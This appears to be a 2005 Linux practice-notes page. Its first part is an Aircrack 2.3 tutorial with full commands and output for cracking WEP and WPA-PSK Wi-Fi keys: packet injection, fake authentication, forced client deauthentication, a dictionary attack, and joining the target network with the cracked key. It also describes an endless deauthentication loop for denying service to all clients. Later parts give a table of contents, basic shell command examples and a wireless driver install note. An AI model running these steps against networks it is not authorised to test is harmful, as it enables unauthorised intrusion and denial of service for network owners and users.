Aircrack 2.

3 (WEP, WPA-PSK Creck)

Aircrack 2.3 (WEP, WPA-PSK Creck)
11/Nov/2005 tested on SuSE 9.3 Aircrack is a set of tools for auditing wireless networks:
q q q q

airodump: 802.11 packet capture program aireplay: 802.11 packet injection program aircrack: static WEP and WPA-PSK key cracker airdecap: decrypts WEP/WPA capture files

Installation
1. Download Aircrack from http://100h.org/wlan/aircrack/ 2. Read the documentation (README.html) and follow. It has the most comprehensive explanation. 3. I have a CISCO Aironet 350 and PrismGT card (Corega WLCB-54GT) and both work fine. Aironet 350 works for 11b network but aireplay is not supported. PrismGT card works for 11b/g network and both airodump and aireplay works. For PrismGT card, I needed to compile the driver. But it was not so difficult as expected. I just follow the explanation in the document.

WEP Attack
How to capture (airodump) (WEP)
1. For this example, a PrismGT card is used. It is recognized as eth0. But other card may be ath0 or something else. 2. Change to monitor mode
# airmon.sh usage: /usr/local/bin/airmon.sh [channel] Interface Chipset Driver eth0 PrismGT prism54 # airmon.sh start eth0 usage: /usr/local/bin/airmon.sh [channel] Interface Chipset Driver eth0 PrismGT prism54 (monitor mode enabled)

3. Search WLANs. 0 to hop between channels.
# airodump eth0 out 0 BSSID 00:0D:0B:98:96:7F 00:A0:B0:40:5C:84 PWR 48 87 Beacons 2 13 # Data 0 16 CH 11 1 MB 54 54 ENC WEP? WEP ESSID 4B18E8C83ABD HOGE

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Aircrack 2.3 (WEP, WPA-PSK Creck)

BSSID 00:A0:B0:40:5C:84

STATION 00:04:23:52:80:41

PWR 86

Packets 4

ESSID HOGE

4. Press Ctl+c. Next we will capture only channel 1 (ESSID HOGE), and specify 1 to only cature unique WEP IVs. It saves space.
# airodump eth0 out 1 1 BSSID PWR 00:A0:B0:40:5C:84 BSSID 00:A0:B0:40:5C:84 87 STATION 00:04:23:52:80:41

Beacons 36

# Data 48 PWR 87

CH 1

MB 54

ENC WEP

ESSID HOGE

Packets 38

ESSID HOGE

Fake authentication (aireplay) (WEP)
1. We will use airoeplay to inject packets, so we can capture packets easily. Open another console. Copy BSSID and paste as,
# aireplay -1 0 -e HOGE -a 00:A0:B0:40:5C:84 -h 0:1:2:3:4:5 eth0 12:14:06 Sending Authentication Request 12:14:06 Authentication successful 12:14:06 Sending Association Request 12:14:07 Association successful :-)

If it cannot associate, use station's MAC,
# aireplay -1 0 -e HOGE -a 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0

Some access points require to reassociate every 20 seconds, otherwise the fake client is considered disconnected. In this case, setup the periodic re-association delay:
# aireplay -1 20 -e HOGE -a 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0

2. Once associated, send packets as following. If you are not associated, you see no send packet.
# aireplay -3 -b 00:A0:B0:40:5C:84 -h 0:1:2:3:4:5 -x 600 eth0 Saving APR requests in replay_arp-1112-031550.cap You must also start airodump to capture replies. Read 39123 packets (got 1024 APR requests), sent 24543 packets...

3. If it stoped sending, you need to associate again. Consider setup of the periodic re-association delay. I used crontab to re-associate again and again.

How to crack (aircrack) (WEP)
1. Open a new console, and type following command. Aircrack can read the updated file automatically so you can run
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Aircrack 2.3 (WEP, WPA-PSK Creck)

airodump and aircrack at the same time.
# aircrack -x -0 out.ivs

2. For 104bit WEP needs about one million IVs. You may need one day or more time to capture the packets. However if you use aireplay and inject, you need only few hours. 3. This is the result. It needed only a quarter a million.

4. Aircrack can also run on Windows but aireplay is not supported though.

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Aircrack 2.3 (WEP, WPA-PSK Creck)

Connect to the target WLAN (WEP)
1. Once you find the key, as XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX, use it to connect to the WLAN.
# iwconfig eth0 mode Managed key XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX # dhcocd eth0 # ifconfig eth0 eth0 Link encap:UNSPEC HWaddr 00-0A-79-18-35-7A-0A-00-00-00-00-00-00-00-00-00 inet addr:192.168.0.12 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::20a:79ff:fe18:357a/64 Scope:Link UP BROADCAST RUNNING MTU:1500 Metric:1 RX packets:330521 errors:0 dropped:0 overruns:0 frame:0 TX packets:157988 errors:3 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:24164635 (23.0 Mb) TX bytes:9864176 (9.4 Mb) Interrupt:11 # ping google.com PING google.com (72.14.207.99) 56(84) bytes of data. 64 bytes from 72.14.207.99: icmp_seq=1 ttl=234 time=203 ms 64 bytes from 72.14.207.99: icmp_seq=2 ttl=234 time=201 ms

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Aircrack 2.3 (WEP, WPA-PSK Creck)

WPA-PSK (Pre-shared key) Attack
How to capture (airodump) (WPA-PSK)
1. For this example, PrismGT card is used. It is recognize as eth0. But other card may be ath0 or something. 2. Change to monitor mode
# airmon.sh usage: /usr/local/bin/airmon.sh [channel] Interface Chipset Driver eth0 PrismGT prism54 # airmon.sh start eth0 usage: /usr/local/bin/airmon.sh [channel] Interface Chipset Driver eth0 PrismGT prism54 (monitor mode enabled)

3. Search WLANs. 0 to hop between channels.
# airodump eth0 out 0 BSSID 00:0D:0B:98:96:7F 00:A0:B0:40:5C:84 BSSID 00:A0:B0:40:5C:84 PWR 48 87 STATION 00:04:23:52:80:41 Beacons 2 13 # Data 0 16 PWR 86 CH 11 1 MB 54 54 ENC WEP? WEP ESSID 4B18E8C83ABD HOGE

Packets 4

ESSID HOGE

4. Press Ctl+c. Next we will capture only channel 1 (ESSID HOGE). Capture all packets. Don't specify another 1.
# airodump eth0 out 1 BSSID PWR 00:A0:B0:40:5C:84 BSSID 00:A0:B0:40:5C:84 87 STATION 00:04:23:52:80:41

Beacons 36

# Data 48 PWR 87

CH 1

MB 54

ENC WEP

ESSID HOGE

Packets 38

ESSID HOGE

WPA Handshake capture (airoplay) (WPA-PSK)
Capture WPA handshakes by forcing clients to reauthenticate. It can also be used to generate ARP requests as Windows clients sometimes flush their ARP cache when disconnected. This attack is totally useless if there are no associated wireless clients. 1. WPA Handshake capture
# aireplay -0 5 -a 00:A0:B0:40:5C:84 -c 00:04:23:52:80:41 eth0

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Aircrack 2.3 (WEP, WPA-PSK Creck)

00:43:41 00:43:41 00:43:41 00:43:41 00:43:41

Sending Sending Sending Sending Sending

DeAuth DeAuth DeAuth DeAuth DeAuth

to to to to to

station station station station station

------

STMAC: STMAC: STMAC: STMAC: STMAC:

[00:04:23:52:80:41] [00:04:23:52:80:41] [00:04:23:52:80:41] [00:04:23:52:80:41] [00:04:23:52:80:41]

2. ARP request generation (optional) if above does not work.
# aireplay -0 10 -a 00:A0:B0:40:5C:84 eth0 # aireplay -3 -b 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0

After sending the five deauthentication packets, it starts listening for APR requests with attack 3. The -h option is necessary and must be the MAC address of an associated client. 3. Mass denial-of-service (MDOS) attack
# aireplay -0 0 -a 00:A0:B0:40:5C:84 eth0

With parameter 0, this attack will loop forever sending deauthentication packets to the broadcast address, thus preventing clients from staying connected.

Dictionary attack (airoplay) (WPA-PSK)
1. Download dictionaries. i.e from http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/ 2. Make a dictionary.
# zcat all.gz | egrep -v '^#' > dic

3. If you do not have a handshake packet, you cannot continue, so you do aireplay -0 again.
# aircrack -w dic -0 out.cap Opening out.cap Read 154839 packets. # 1 2 BSSID 00:A0:B0:40:5C:84 00:02:2D:C2:38:AF ESSID HOGE Encryption WPA (1 handshake) Unknown

Index number of target network ? 1

4. Once you find a handshake packet, you can stop airodump. 5. Yes, you find it! For this, I actually used Windows because my Linux is running an ancient Pentium II 300kHz! Only this process needs CPU power, so I used my Windows (Celeron 3GHz). It actually took less than three minutes, though.

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Aircrack 2.3 (WEP, WPA-PSK Creck)

Note: In my experience, using Aircrack is the best tool compare to others. Aircrack on Linux supports packet injection which means we can increase the traffic, so we need only few hours to capture sufficient packets. Otherwise you will need several days. Here is other my reports. Tool OS CPU usage Encryption WEP WEP 802. 11b 11b NIC Support Packet injection My recommendation Few Few Not supported Not supported Not supported Supported! Low Low Mid Recommended!

Airsnort Windows High (note) Airsnort Linux (note) High

Aircrack Windows Low (note) Aircrack Linux Low

WEP, WPA 11a/b/g Many WEP, WPA 11a/b/g Many

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Aircrack 2.3 (WEP, WPA-PSK Creck)

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GNU/Linux Practice Note

GNU/Linux Practice Note
Support

Contents
1. What is the Linux 2. Tera Term Pro ver.2.3 (Terminal Emulator) 3. User Operation 1. Introduction 2. Basic Commands 3. The VI Editor 4. Network Commands 4. Root user operation 1. Root user's manual 2. How to backup user account 3. How to add a new disk 4. How to create swap space 5. How to create number of users and passwords automatically 5. Wireless Network 1. Install CISCO Aironet 350 Wireless Card 2. Install WLCB-54GT (11g/54Mbps, PrisumGT) on SuSE 9.1 (kernel2.6) 6. USB 1. How to use USB HDD on Linux 7. Package Management 1. rpm-4.0.3-1.03 (Red Hat Package Manager) 2. up2date-2.7.86-7.x.3 (Update Agent) 3. rpmfind-1.7-2.html 8. X Windows 1. Change Display Resolution 9. DNS Server 1. bind-9.1.3-4 (DNS) 10. E-Mail Server 1. sendmail-8.11.6-3l (SMTP, POP3, IMAP4) 2. fetchmail-5.0.0 (Mail-retrieval and forwarding utility) 3. Mailing List
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GNU/Linux Practice Note

11.

12.

13. 14.

15. 16.

17.

18.

19.

1. mailman-2.0.11-1 (Mailing List Manager) Web Server 1. PHP-4.3.11 + Oracle 10g dso 2. Virtual Host by Apache 3. Apache1.3 (HTTP) 4. Apache Cocoon 2.0.4 5. Web Application 1. squirrelmail-1.4.0-1.7.x (Web Mail) 2. usermin-0.940-1 (Web-based interface for user) 3. imp-2.0.11(webmail) 4. imp-2.2.0(webmail) 5. webalizer-1.30-04 (Web server log file analysis program) 6. webmin-0.83 (Web-based interface for system administration) Proxy Server 1. squid-2.2.STABLE4-5 (PROXY) 2. sarg-1.4.1-109 (Squid Analysis Report Generator) 3. delegate7.9.3 (PROXY) 4. World Wide Web Offline Explorer (wwwoffle-2.7f) (Proxy) 5. Transparent HTTP Proxy 1.2 using ipchains News Server 1. inn-2.2 (NEWS) RDBMS 1. postgresql-7.0.2 (RPM Package) 2. Sybase Adaptive Server Network Time Protocol (NTP) Server 1. xntp-4.2.0a-46 (NTP) SNMP 1. rrdtool-1.2.11-3 + cacti-0.8.6f-2 (Monitoring) 2. mrtg-2.12.2-2 (Monitoring) 3. ucd-snmp-4.1.2-8 Search Engine 1. namazu-1.3.0.10 2. namazu-2.0.4 Multimedia 1. xine-ui-0.9.13 (Video Player) 2. qtamp-0.6 (MP3 Player) 3. grip-2.95-1+lame3.70 (CD Ripper+MP3 Encode) Others 1. netacct-mysql-0.78 (Network Traffic Accounting Daemon) 2. syslogd-1.4.1-542 (syslog)

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GNU/Linux Practice Note

20.

21.

22. 23.

3. CVS 1.11.17-6 4. user_mode_linux-2.4.18.36um-0 5. dhcp-3.0PL1-23 (DHCPD) 6. samba-2.0.3-19990228 (SMB) 7. quota-3.06-9 8. ppp-2.3.5 (PPP) 9. vnc-3.3.3r2_x86_linux_2.0 (Virtual Network Computing) 10. nfs-utils-0.3.1-13 (NFS) 11. openldap-1.2.9-6 (LDAP) 12. wu-ftpd-2.4.2b16-4 (FTP) 13. irc-2.9.5(IRC) 14. mgetty-1.1.14 (PPP Server) 15. pbeagent-7.0.0-119 (PowerChute Business Edition Agent) Security & Monitoring 1. aide-0.10-51 (IDS) 2. Aircrack 2.3 (WEP, WPA-PSK Creck) 3. AirSnort 0.2.1a (WEP Creck) 4. snort-2.3.3-2 (NDIS, oinkmaster, ACID) 5. Nmap-3.81-4 (port-scanning) 6. Nessus-2.2.3-3 (Vulnerability scanner) 7. ettercap-NG-0.7.1 (sniffer) 8. etherape-0.9.0 (Network Traffic Browser) 9. ipchains-1.3.10-3 (IP Masquarade & Packet Filtering) 10. iptables-1.3.3-3 (IP Masquarade (NAT), Packet Filtering & Transparent Proxy) 11. MAPS RBL (Realtime Blackhole List) 12. ntop-1.2a12 (Network Monitor) 13. openssh-2.3.0p1-4 14. swatch-2.2 (Monitoring system activity) 15. tcp_wrappers-7.6 (Monitor and filter incoming requests) 16. ethereal-0.8.13-1 (Network protocol analyzer) Kernel Configuration 1. kernel2.4.x 2. Using the ext3 filesystem in 2.4 kernels Links Previous Version's Documents

History Ver Date Description

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GNU/Linux Practice Note

2.8 2.7 2.6 2.5 2.4 2.3 2.2 2.1 2.0 1.9 1.8 1.7 1.6 1.5 1.4 1.3 1.2 1.1 1.0

2005/11/11 2005/10/55 2003/01/13 2003/12/05 2003/05/23

Aircrack 2.3 (WEP Creck) is added Nmap-3.81-4 (port-scanning) mrtg-2.10.5-1 is updated for Fedora core 1 etherape-0.9.0 (Network Traffic Browser) is added dhcp is updated Install CISCO Aironet 350 Wireless Card and How to use USB HDD are 2003/04/25 added Apache Cocoon 2.0.4 is added 2003/04/09 squirrelmail-1.4.0-1.7.x is updated 2002/11/08 AirSnort 0.2.1a (WEP Creck) is added 2002/09/23 squirrelmail-1.2.8-1.7.x (Web Mail) is added 2002/09/23 mailman-2.0.11-1 (Mailing List Manager) is added 2002/09/03 up2date-2.7.86-7.x.3 (Update Agent) is added 2002/07/30 usermin-0.940-1 is added 2002/06/08 nfs-utils-0.3.1-13 (NFS) is added 2002/06/06 sendmail-8.11.6-3l is added 2002/05/28 bind-9.1.3-4 is added 2002/05/15 Delegate is updated 2001/05/12 MAPS RBL (Realtime Blackhole List) is added 2001/05/06 ipchains-1.3.10-3 is added for Redhat 7.1 2001/04/01 Released Support Download this page (HTML Help File) http://www.grape-info.com Copyright © 1999 Grape Info (support grape-info.com) All rights reserved.

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Basic Commands

Basic Commands
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. ls cp mv rm mkdir rmdir cat grep chmod kill passwd man

ls - list contents of directories
$ ls file1
q

file2

file3

ls -l In addition to the name of each file, print the file type, permissions, number of hard links, owner name, group name, size in bytes, and timestamp (the modification time unless other times are selected).For files with a time that is more than 6 months old or more than 1 hour into the future, the times.
$ ls -l total 3 -rw-r--r--rw-r--r--rw-r--r--

1 guest 1 guest 1 guest

users users users

8 Aug 8 Aug 8 Aug

4 15:56 file1 5 15:57 file2 4 15:57 file3

q

ls -lt Sort directory contents by timestamp instead of alphabetically, with the newest files listed first.
$ ls -lt total 3 -rw-r--r--rw-r--r--

1 guest 1 guest

users users

8 Aug 8 Aug

5 15:57 file2 4 15:57 file3

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Basic Commands

-rw-r--r--

1 guest

users

8 Aug

4 15:56 file1

cp - copy files
cp [options] source dest
$ ls file1 file2 file3 $ cp file1 file4 $ ls file1 file2 file3

file4

mv - rename files
mv [options] source dest mv [options] source... directory
$ ls file1 file2 file3 file4 $ mv file4 /tmp $ ls file1 file2 file3 $ cd /tmp [guest@linux /tmp]$ ls file4 $ ls file1 file2 file3 $ mv file4 file5 $ ls file1 file2 file3

file4

file5

rm - remove files
$ ls file1 file2 $ rm file2 $ ls file1

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Basic Commands

mkdir - make directories
$ ls file1 $ mkdir directory $ ls -lt total 2 drwxr-xr-x 2 guest -rw-r--r-1 guest

users users

1024 Aug 8 Aug

5 11:40 directory/ 4 16:04 file1

rmdir - remove empty directories
$ ls directory/ file1 $ rmdir directory $ ls file1

cat - concatenate files and print on the standard output
$ cat file1 101 3people 102 none 201 2people 202 4people

2-DK 1-room 2-DK 3-LDK

grep - print lines matching a pattern
grep [-cvn] pattern [file1 file2 ...] Options c v n Suppress normal output; instead print a count of matching lines for each input file. With the -v,revert-match option (see below), count non-match Invert the sense of matching, to select non-matching lines. Prefix each line of output with the line number within its input file.

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Basic Commands

$ cat file1 101 3people 102 none 201 2people 202 4people $ cat file2 301 4people 302 3people 401 none 402 2people $ grep LDK * file1:202 file2:302

2-DK 1-room 2-DK 3-LDK

4-DK 3-LDK 2-DK 2-DK

4people 3people

3-LDK 3-LDK

chmod - change the access permissions of files
[root@ns public_html]# ls -l -rw------1 hoge staff 163 Aug 7 22:39 index.html [root@ns public_html]# chmod g+r index.html [root@ns public_html]# ls -l -rw-r----1 hoge staff 163 Aug 7 22:39 index.html [root@ns public_html]# chmod 644 index.html [root@ns public_html]# ls -l -rw-r--r-1 hoge staff 163 Aug 7 22:39 index.html

kill - terminate a process
q

EX1)
# ps ax | grep 278 ? S 7308 p1 S # kill 278 # ps ax | grep 7310 p1 S dhcpd 0:00 /usr/sbin/dhcpd 0:00 grep dhcpd dhcpd 0:00 grep dhcpd

q

EX2)
# kill `ps ax | awk '/pppd/ {print $1}'`

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Basic Commands

passwd - update a user's authentication tokens
$ passwd Changing password for guest (current) UNIX password: New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully

man - format and display the on-line manual pages
man keyword
$ man ls LS(1) NAME ls, dir, vdir - list contents of directories SYNOPSIS ls [-abcdfgiklmnpqrstuxABCFGLNQRSUX1] [-w cols] [-T cols] [-I pattern] [--all] [--escape] [--directory] [--inode] [--kilobytes] [--numeric-uid-gid] [--no-group] [--hidecontrol-chars] [--reverse] [--size] [--width=cols] [--tabsize=cols] [--almost-all] [--ignore-backups] [--classify] [--file-type] [--full-time] [--ignore=pattern] [--dereference] [--literal] [--quote-name] [--recursive] [--sort={none,time,size,extension}] [--format={long,verbose,commas,across,vertical,single-column}] [--time={atime,access,use,ctime,status}] [--help] [--version] [--color[={yes,no,tty}]] [--colour[={yes,no,tty}]] [name...] DESCRIPTION This documentation is no longer being maintained ...................................... LS(1)

and

may

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Basic Commands

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Install Corega WLCB-54GT (11g/54Mbps, PrisumGT) on SuSE 9.3 (kernel2.6)

Tested on WLCB-54GT and SuSE 9.3 on 27 Oct 2005

Install Corega WLCB-54GT (11g/54Mbps, PrisumGT) on SuSE 9.3 (kernel2.6)
SuSE 9.3 could not detect my 11g PCMCIA card (Corega WLCB-54GT) saying, # /etc/init.d/network restart Shutting down network interfaces: eth0 device: Harris Semiconductor D-Links DWL-g650 A1 (rev 01) eth0 configuration: wlan-bus-pci-0000:02:00.0 done Shutting down service network . . . . . . . . . . . . . done. Hint: you may set mandatory devices in /etc/sysconfig/network/config Setting up network interfaces: lo lo IP address: 127.0.0.1/8 done eth0 device: Harris Semiconductor D-Links DWL-g650 A1 (rev 01) eth0 configuration: wlan-bus-pci-0000:02:00.0 SIOCSIFFLAGS: No such file or directory eth0 (DHCP) . . . . . no IP address yet... backgrounding. waiting Setting up service network . . . . . . . . . . . . . . done. In /var/log/messages Nov 18 11:32:48 linux Nov 18 11:32:48 linux Nov 18 11:32:48 linux Nov 18 11:32:48 linux triggering reset kernel: kernel: kernel: kernel: eth0: eth0: eth0: eth0: islpci_open() resetting device... uploading firmware... firmware uploaded done, now

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Install Corega WLCB-54GT (11g/54Mbps, PrisumGT) on SuSE 9.3 (kernel2.6)

So I have downloaded the latest firmware for the Linux prism54 driver from http://100h.org/wlan/linux/ prismgt/ into /usr/lib/hotplug/firmware/ and rename it # cd /usr/lib/hotplug/firmware/ # wget http://100h.org/wlan/linux/prismgt/1.0.4.3.arm # mv 1.0.4.3.arm isl3890 Note: isl (India, Siera, Lima) That is all I have done. Then you configure by YaST and will work fine.

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